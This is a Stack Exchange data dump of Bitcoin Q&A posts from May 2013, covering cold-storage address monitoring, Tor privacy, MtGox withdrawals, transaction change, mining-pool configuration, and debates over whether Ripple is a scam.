  <row Id="11213" PostTypeId="1" CreationDate="2013-05-25T09:46:32.217" Score="4" ViewCount="554" Body="&lt;p&gt;We plan to accept bitcoins on our eshop website. What we want plan on doing is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Keep all private keys always offline (cold storage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Generate at least 100,000 keypairs of which only one will be stored on our web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Frequently change our Bitcoin addresses on our webserver to prevent third parties from knowing how many Bitcoins we have received in total. The web server will only contain our public key (Bitcoin addreses), not any of the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I) Is there a way to monitor the SUM of all bitcoins sent to ALL of our addresses? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like a wallet that supports import of a huge number of &quot;watch-only&quot; addresses without requiring the import of the private keys? If the wallet is an application, it must support SOCKS proxy connections. (Armory allows watch-only keys, but I don't know if it supports mass bulk import and SOCKS proxies? Also, it seems to be suffering severe RAM overuse bugs as of now, according to its developer...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;II) Is there a way to sell the SUM of all bitcoins ever sent to ALL of our addresses AT ONCE? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;III) Will an attacker be able to find out how many bitcoins we have earned in total?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="5228" LastEditorUserId="5228" LastEditDate="2013-05-25T10:32:28.277" LastActivityDate="2013-09-22T19:28:47.280" Title="Watching and spending from a huge number of offline private keys" Tags="|privacy|coldstorage|offline|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11214" PostTypeId="2" ParentId="11213" CreationDate="2013-05-25T09:59:21.377" Score="1" Body="&lt;p&gt;In order for your server to monitor all the addresses, you'll need to have all of them on the server which contravenes your requirement that a hacker not be able to see your combined balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, as far as I see it you have two options: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use a desktop app. Armory, QT, etc - though I'm not sure how well they would cope with 1M+ addresses or keys, and I'm 75% sure they don't have a bulk import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use another server - hosted or even in your home network (Raspberry Pi anyone?) that knows all of your public keys but is completely separated from your frontend server. It can then use a Bitcoin API (Blockchain, BTCBalance.net, blockexplorer) and periodically work its way through all 1M keys checking their balance. From within your network (this is ideal as very low chance of external access without being on site) you can call up the server and it'll tell you how many Bitcoins you have in total at your last count. I currently have a Raspberry Pi setup to do similar repetitive operations (though with backups not Bitcoin) and it does a fantastic job. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also likely be able to route option 2) through a proxy.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-05-25T09:59:21.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11215" PostTypeId="2" ParentId="9344" CreationDate="2013-05-25T10:07:52.263" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://inrbtc.com&quot; rel=&quot;nofollow&quot;&gt;INRBTC&lt;/a&gt; allows you to buy/sell bitcoins in Indian Currency using the unique trading platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place your order details and submit. &#xA;you will be asked to deposit 10% of your order value in Bitcoins, after the deposit is sent, the order will be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as your order is matched, a trade will be executed and you will be sent the trade details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the other party does not honor the Trade, you will be paid 5% of the order value as compensation from the counter-parties deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the successful completion of trade, the deposit will be refunded after deduction of commission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about the Trading platform is available at &lt;a href=&quot;https://inrbtc.com/info&quot; rel=&quot;nofollow&quot;&gt;INRBTC Info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User reviews on using this platform is available at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=231585.0&quot; rel=&quot;nofollow&quot;&gt;Reviews&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5226" LastEditorUserId="5226" LastEditDate="2013-11-30T17:10:23.077" LastActivityDate="2013-11-30T17:10:23.077" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11216" PostTypeId="1" AcceptedAnswerId="11218" CreationDate="2013-05-25T12:22:35.907" Score="0" ViewCount="126" Body="&lt;p&gt;At &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9807/5228&quot;&gt;https://bitcoin.stackexchange.com/a/9807/5228&lt;/a&gt; Tom van der Woerdt wrote &quot;people who don't broadcast their IP address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did he mean by that? Is there a way to set up a particular Bitcoin client so that it does not broadcast my IP address or to make it more private in other ways?&lt;/p&gt;&#xA;" OwnerUserId="5228" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-05-25T15:16:30.393" Title="People who don't broadcast their IP address?" Tags="|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11217" PostTypeId="2" ParentId="5266" CreationDate="2013-05-25T13:11:11.083" Score="1" Body="&lt;p&gt;I run 2 instances of cgminers because I have two cards one which performs better for SHA256 and the other performs better for the SCRYPT algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively increased my hash rate by 10 percent doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is when you use --auto-fan and (presumably) --auto-gpu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nuisance is that cgminer version 2.4.1 is trying to control the fans of the GPU card that is turned OFF which causes unwanted rapid oscillations in fan speed as 2 cgminers are trying to control the fan of a single card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve that, you need to go in G(PU)/C(hange)/#/A(uto)/F(an) where # is the number of the GPU card that is set to OFF in a specific instance of the cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will prevent cgminer from accessing the fans of the card that is turned off.&lt;/p&gt;&#xA;" OwnerUserId="5229" LastActivityDate="2013-05-25T13:11:11.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11218" PostTypeId="2" ParentId="11216" CreationDate="2013-05-25T15:16:30.393" Score="1" Body="&lt;p&gt;Sure. Install &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor&lt;/a&gt; and add &lt;code&gt;tor=1&lt;/code&gt; to your &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11190/where-is-the-config-file-of-bitcoin-qt-kept/11210#11210&quot;&gt;bitcoin.conf&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-05-25T15:16:30.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11220" PostTypeId="1" CreationDate="2013-05-25T16:31:35.737" Score="3" ViewCount="96" Body="&lt;p&gt;Can I still transfer USD from MtGox to Dwolla, and then Dwolla to my bank account? I've done this several times in the past, before the DHS seizure of MtGox's Dwolla funds. It's hard to get an anwser from MtGox.&#xA;I've got about 5-10 Bitcoins I'd like to convert to USD.&lt;/p&gt;&#xA;" OwnerUserId="5233" LastActivityDate="2013-05-25T16:31:35.737" Title="Can I still transfer USD from MtGox to Dwolla?" Tags="|mtgox|dwolla|money-transfer|" AnswerCount="0" CommentCount="6" ClosedDate="2013-05-29T18:16:17.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="11221" PostTypeId="2" ParentId="11044" CreationDate="2013-05-25T17:41:14.733" Score="1" Body="&lt;p&gt;I ended up implementing a response handler that implements the following heuristic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If status code is 200 and Content-Type header is &quot;application/json&quot; (with or without charset), the response is valid.&lt;/li&gt;&#xA;&lt;li&gt;If the status code is 200 or 500 (I've observed both) and the Content-Type header is &quot;text/html&quot; (with or without charset), the response is erroneous and the error message may be extracted with the following regular expression: &lt;code&gt;(?s).*&amp;lt;div.*?class=&quot;alert alert-error&quot;&amp;gt;.*?&amp;lt;h4&amp;gt;(.*?)&amp;lt;/h4&amp;gt;.*&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Otherwise the response is erroneous but the specific error message cannot be extracted.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This seems to work well in practice.&lt;/p&gt;&#xA;" OwnerUserId="5116" LastActivityDate="2013-05-25T17:41:14.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11222" PostTypeId="1" CreationDate="2013-05-25T18:37:31.853" Score="2" ViewCount="208" Body="&lt;p&gt;There've been some questions here about MtGox getting dollars through Dwolla, but what about other channels besides Dwolla?  Are dollars still reaching MtGox somehow?  The price of BTC on MtGox a few minutes ago was over $131, up a bit from a few days ago.  There must be dollars there for people to bid with, and buy bitcoins with; otherwise this couldn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I've wondered about is transferring dollars straight to a bank account in the USA.  International bank account numbers are not used in the United States.  Is there a way to do it without one of those?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-05-28T14:40:59.880" Title="Do dollars reach MtGox through other channels than Dwolla?" Tags="|mtgox|wire-transfers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11223" PostTypeId="1" AcceptedAnswerId="11228" CreationDate="2013-05-25T19:31:59.823" Score="7" ViewCount="294" Body="&lt;p&gt;If I want to send you 75 and I have 100, a transaction of 100 will be made, in which I get 25 back as change. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;Change&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the output of a transaction is used as the input of another&#xA;  transaction, it must be spent in its entirety&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2013-05-26T15:09:15.837" LastActivityDate="2013-05-26T15:09:15.837" Title="Why do transactions need to be spend fully?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="3" ClosedDate="2013-06-04T05:47:37.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="11224" PostTypeId="2" ParentId="11172" CreationDate="2013-05-25T20:49:05.123" Score="-2" Body="&lt;p&gt;It's very simple: If you were not given any of 10 billions XRP - for you it's scam.&#xA;If you were given free ripples - you are evangelist of the scam.&lt;/p&gt;&#xA;" OwnerUserId="5129" LastActivityDate="2013-05-25T20:49:05.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11225" PostTypeId="2" ParentId="11172" CreationDate="2013-05-25T23:17:25.227" Score="-3" Body="&lt;p&gt;To activate your wallet you need to pay - you have to buy ripples, even if you don't need them. All ripples are owned by opencoin. Pure scam.&#xA;To tell you more - here's my story:&#xA;I invested one bitcoin to check how it works. I sold this bitcon on bitstamp for 130$. Then I use option to withdraw $$ to my ripple wallet (I had to fund my wallet to activate it). But my $$ were converted to 5500 ripples. I wanted to buy BTC back. But for my ripples I was able to buy only 0,65 bitcoin. I had to leave some ripples so my wallet is active. By the end of the day I lost 45$.&lt;/p&gt;&#xA;" OwnerUserId="5129" LastActivityDate="2013-05-25T23:17:25.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11226" PostTypeId="2" ParentId="9426" CreationDate="2013-05-25T23:27:56.063" Score="2" Body="&lt;p&gt;The Bitcoin protocol allows for 2,099,999,999,999,999 satoshis to be issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.0 BTC = 100,000,000 Satoshis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With about 7 billion people on the planet, that means the 2,099,999,999,999,999 satoshis divided among the populations leaves 300,000 satoshis per person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value rises such that even a since satoshi rises significantly (e.g., above a penny) then further divisibility is an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But further divisibility is not something that impacts the value.  A dollar doesn't buy more after you first convert it to 100 pennies.  You still have a dollar's worth of funds.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-25T23:27:56.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11227" PostTypeId="2" ParentId="11172" CreationDate="2013-05-26T00:09:06.677" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Also not true. Anyone can run a Ripple gateway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A couple problems here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The wrong page was linked, I'm pretty sure the intended page has something to do with &lt;a href=&quot;https://ripple.com/wiki/Gateway_Integration_Manual&quot; rel=&quot;nofollow&quot;&gt;setting up gateways&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;As it says there, setting up a gateway requires setting up a server (rippled), for which there is no code available, and as it says &lt;a href=&quot;https://ripple.com/wiki/Rippled_build_instructions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, no binaries either. So the only way to set up a gateway at this point in time is to get a copy of the server from OpenCoin via some non-public channel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short, until a server is made publicly available in binary or source form, they have made no move beyond talk that indicates a desire to make ripple decentralized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make them a scam, no. Does that decrease their credibility, yes.&lt;/p&gt;&#xA;" OwnerUserId="5240" LastActivityDate="2013-05-26T00:09:06.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11228" PostTypeId="2" ParentId="11223" CreationDate="2013-05-26T01:02:46.307" Score="3" Body="&lt;p&gt;All bitcoins that you hold in a wallet are received direct from generated coin (issued as the block subsidy) or value assigned to you by the previous holder.   That assignment does not have a value field, only authorization for the value to be spent by you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many other accounting systems use the approach where account balances are used, rather than aggregating all transactions like how Bitcoin works.  Bank account systems work like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work is underway to &lt;a href=&quot;http://bitcointalk.org/index.php?topic=204283.msg2135237#msg2135237&quot; rel=&quot;nofollow&quot;&gt;bring this capability to Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-26T01:02:46.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11229" PostTypeId="2" ParentId="9036" CreationDate="2013-05-26T05:04:28.623" Score="0" Body="&lt;p&gt;I've noticed the lack of creditable material in this space and thus have committed to developing a curriculum with Jeff Tucker and a few others to relate Bitcoin to conventional economics for our free course:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.udemy.com/bitcoin-or-how-i-learned-to-stop-worrying-and-love-crypto/&quot; rel=&quot;nofollow&quot;&gt;https://www.udemy.com/bitcoin-or-how-i-learned-to-stop-worrying-and-love-crypto/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something else does exist that isn't highly subjective or peer reviewed, then I'd be surprised. Most websites drafting material about Bitcoin have a POV skew. There also is a general lack of academic articles about Bitcoin thus creditable research is hard to come by. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-26T05:04:28.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11230" PostTypeId="2" ParentId="9364" CreationDate="2013-05-26T06:32:10.807" Score="0" Body="&lt;p&gt;I have used this method to reduce my fess to 1.5% . It basically joins a bunch of small p2pool payments into one large payment with 0 transaction fees. But the catch is that there is a 1.5% developer donation, still much cheaper than any other alternative.&#xA;&lt;a href=&quot;https://forum.litecoin.net/index.php/topic,3870.0.html&quot; rel=&quot;nofollow&quot;&gt;https://forum.litecoin.net/index.php/topic,3870.0.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2013-05-26T06:32:10.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11231" PostTypeId="2" ParentId="736" CreationDate="2013-05-26T08:43:13.193" Score="18" Body="&lt;p&gt;The information in David's answer is correct, but it may not answer the actual question -- it's unclear whether the question is about change in general, or specifically sending change to a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter, nothing needs to be added. If, however, the question was about the practice of change in general, then yes, it is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that an output, when used as an input, must be spent in its entirety. Say someone sends you 10 BTC, that 10 BTC is a single output. You cannot spend part of that coin, the same way you couldn't slice off a part of a physical coin and have it maintain its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that an output is actually a script, and to spend an output you simply broadcast the solution to this script. That output, in its entirety, becomes an input -- and if you were to not include change, the difference between the inputs and outputs would all go to transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;is&lt;/em&gt; client-specific is how to handle this change: the Satoshi client sends it to a new address, while other clients may simply send the change back to one of the output addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change is an output like any other, which means that you do need to wait for confirmations -- but you can still use that change to send another transaction immediately, you'll just need to wait for the first transaction to confirm before the second one can.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastEditorUserId="1875" LastEditDate="2013-11-23T18:57:33.840" LastActivityDate="2013-11-23T18:57:33.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11232" PostTypeId="1" AcceptedAnswerId="11240" CreationDate="2013-05-26T11:09:25.947" Score="6" ViewCount="114914" Body="&lt;p&gt;I started co-mining on &lt;a href=&quot;https://mining.bitcoin.cz/stats/&quot; rel=&quot;nofollow&quot;&gt;Slush's pool&lt;/a&gt; successfully for about 48 hours, but from there on I haven't been able to connect to it again. It logs in the console this, no matter if I'm using a valid worker and password or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-05-26 12:55:19: Listener for &quot;Default&quot; started&#xA;2013-05-26 12:55:20: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:20, checking for stratum...&#xA;2013-05-26 12:55:20: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:20, started OpenCL miner on platform 0, device 0 (Turks)&#xA;2013-05-26 12:55:20: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:20, no response to getwork, using as stratum&#xA;2013-05-26 12:55:20: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:20,  No JSON object could be decoded&#xA;2013-05-26 12:55:30: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:30, Failed to subscribe&#xA;2013-05-26 12:55:32: Listener for &quot;Default&quot;: api2.bitcoin.cz:8332 26/05/2013 12:55:32, IO errors - 1, tolerance 2&#xA;2013-05-26 12:55:33: Listener for &quot;Default&quot; shutting down&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, I've checked my connection, and I've started &lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt; with administrator privileges. I'm using Windows&amp;nbsp;7.&lt;/p&gt;&#xA;" OwnerUserId="5244" LastEditorUserId="18196" LastEditDate="2016-03-18T20:00:06.937" LastActivityDate="2016-03-18T20:00:06.937" Title="GUIMiner won't start mining on Slush's pool" Tags="|mining-pools|mining-software|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11233" PostTypeId="1" CreationDate="2013-05-26T11:29:24.887" Score="3" ViewCount="270" Body="&lt;p&gt;A transaction into one of my wallets is showing that it came from two addresses? How can I find out which one it came from?&lt;/p&gt;&#xA;" OwnerUserId="5246" LastActivityDate="2013-05-26T11:30:25.030" Title="Blockchain is showing 2 incoming addresses for a transaction?" Tags="|blockchain|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11234" PostTypeId="2" ParentId="11233" CreationDate="2013-05-26T11:30:25.030" Score="4" Body="&lt;p&gt;It came from both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions can have multiple senders and multiple recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes a single address can also be &lt;em&gt;both&lt;/em&gt; a sender and a recipient.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-26T11:30:25.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11235" PostTypeId="1" AcceptedAnswerId="11239" CreationDate="2013-05-26T11:44:06.543" Score="2" ViewCount="216" Body="&lt;p&gt;What would make a better support for bitcoin?&lt;br /&gt;&#xA;Does it really makes any difference to store blockchain locally instead on a remote server?&lt;/p&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2013-05-27T14:48:25.487" Title="What contributes more to bitcoin network? Using Bitcoin-Qt or running a miner?" Tags="|blockchain|client|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11236" PostTypeId="2" ParentId="10960" CreationDate="2013-05-26T14:55:57.987" Score="1" Body="&lt;p&gt;My personal opinion is that the server code isn't ready yet. Nor is the client. Ripple is a very complex and ambituous piece of software. I think they need more programmers and a lot more polish and bugfixing before it is released. I consider myself at least of average intelligence and quite frankly, the order book in the client confuses the shit out of me. And I'm a huge fan of Ripple!&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2013-05-26T14:55:57.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11239" PostTypeId="2" ParentId="11235" CreationDate="2013-05-26T16:13:48.767" Score="6" Body="&lt;p&gt;What do you mean contribute to Bitcoin? What is your goal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the goal is to help with the propagation of nodes, then setting up a bitcoin-qt on a server is nice for the infrastructure and probably the best for a long-term, good guy greg operation. Become a trusted node, add to the infrastructure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coins are mined at a steady pace. There's no threat of them being disrupted or mining operations to discontinue. If anything there's a growing number of miners and the difficulty rate is adjusting to match that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing you can do for Bitcoin is to continue to use it (marketing), or apply one of your skills to its community (entrepreneurial, development, marketing, design, or other). Make a cool Bitcoin t-shirt (and sell them), buy something using Bitcoin, sell something using Bitcoin. When you encounter something difficult in your use of Bitcoin, make suggestions on how it could be improved. People will listen. Your opinion is valuable and matters. &lt;/p&gt;&#xA;" OwnerUserId="1420" LastEditorUserId="1420" LastEditDate="2013-05-27T14:48:25.487" LastActivityDate="2013-05-27T14:48:25.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11240" PostTypeId="2" ParentId="11232" CreationDate="2013-05-26T18:13:06.193" Score="12" Body="&lt;p&gt;The problem is that in GUIMiner, the URL for &lt;strong&gt;Slush's pool&lt;/strong&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;api2.bitcoin.cz:8332&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That address has been deprecated, and it falls back to the &lt;em&gt;GetWork&lt;/em&gt; protocol. From &lt;a href=&quot;http://mining.bitcoin.cz/&quot; rel=&quot;nofollow&quot;&gt;Slush's Pool news&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;10.03.2013&lt;br&gt;&#xA;  Default mining URL for &lt;em&gt;Stratum&lt;/em&gt; is &lt;code&gt;stratum.bitcoin.cz:3333&lt;/code&gt;. If you're still using &lt;code&gt;api.bitcoin.cz&lt;/code&gt;, please fix your URL to prevent fallback to deprecated &lt;em&gt;Getwork&lt;/em&gt; protocol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the GUIMiner interface, instead of choosing &quot;Slush's Pool&quot; from the dropdown menu, choose &quot;other&quot; and then enter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://api.bitcoin.cz:8332&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoin.cz:8332&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;stratum.bitcoin.cz:3333&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2769" LastEditorUserId="1405" LastEditDate="2014-05-29T21:21:02.400" LastActivityDate="2014-05-29T21:21:02.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11242" PostTypeId="1" CreationDate="2013-05-26T19:46:20.323" Score="0" ViewCount="153" Body="&lt;p&gt;I was thinking about a possibility to overcome the 'only stored on one PC' wallet problem! I erase or lose my PC, then I lose all my bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that the wallet, associated with an account number and a &lt;strong&gt;strong&lt;/strong&gt; secret password were backed up on all Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the drawbacks/advantages of this solution?&lt;/p&gt;&#xA;" OwnerUserId="5169" LastEditorUserId="2306" LastEditDate="2013-05-26T20:07:43.660" LastActivityDate="2013-05-26T23:21:22.883" Title="Would this wallet backup system work?" Tags="|wallet|brain-wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11243" PostTypeId="2" ParentId="11242" CreationDate="2013-05-26T22:10:16.100" Score="0" Body="&lt;p&gt;Blockchain is ment to hold information important to whole network, why would it bear arbitrary load of every Tom's, Dick's and Harry's wallets?&#xA;Also, transaction addresses ment to come and go, so it is not store once, use forever.&#xA;Then again, Bitcoin is not thing-in-itself, it relays on many tools and facilities around, so no need to lock it onto itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the killer: you have to keep that &lt;em&gt;strong&lt;/em&gt; password somewhere, might aswell keep actual wallet keys there (paper, brain, bytes, whatever)&lt;/p&gt;&#xA;" OwnerUserId="2769" LastActivityDate="2013-05-26T22:10:16.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11244" PostTypeId="2" ParentId="11242" CreationDate="2013-05-26T23:21:22.883" Score="2" Body="&lt;p&gt;In a way, this is how &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/718/what-is-a-deterministic-wallet&quot;&gt;deterministic wallets&lt;/a&gt; work: All keys and addresses are derived from a secret pass phrase. The &quot;wallet&quot; in this case is the description of the algorithm, which is &quot;stored&quot; publicly.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-05-26T23:21:22.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11245" PostTypeId="2" ParentId="10960" CreationDate="2013-05-26T23:48:46.510" Score="9" Body="&lt;p&gt;We have publicly stated that we don't expect the code to be made publicly available in less than two months and that we would consider it a failure if we didn't make the code publicly available before the end of the year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, we've received a lot of public feedback and are trying to make changes responsive to that feedback. See &lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/issues/748&quot;&gt;this github issue&lt;/a&gt; for an example. It will be very hard to make significant changes after the source code is public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm an employee of Opencoin and one of the designers of the Ripple payment network. I'm speaking only for myself.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-26T23:48:46.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11246" PostTypeId="1" AcceptedAnswerId="11261" CreationDate="2013-05-27T00:56:35.900" Score="2" ViewCount="569" Body="&lt;p&gt;I have 2 BTC in my Bitstamp wallet.&#xA;I have over 10,000 XRP (no issue with reserve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have trusted Bitstamp up to $300 in my Ripple client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to enter an order selling 1 BTC for 8400 XRP. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction failed!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error: Insufficient balance to fund created offer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a BTC wallet in my Ripple account where my BTC need to be?  Your help is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="2306" LastEditDate="2013-05-27T01:56:14.637" LastActivityDate="2013-05-27T21:50:30.077" Title="Error selling BTC on Ripple.com" Tags="|ripple|bitstamp|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
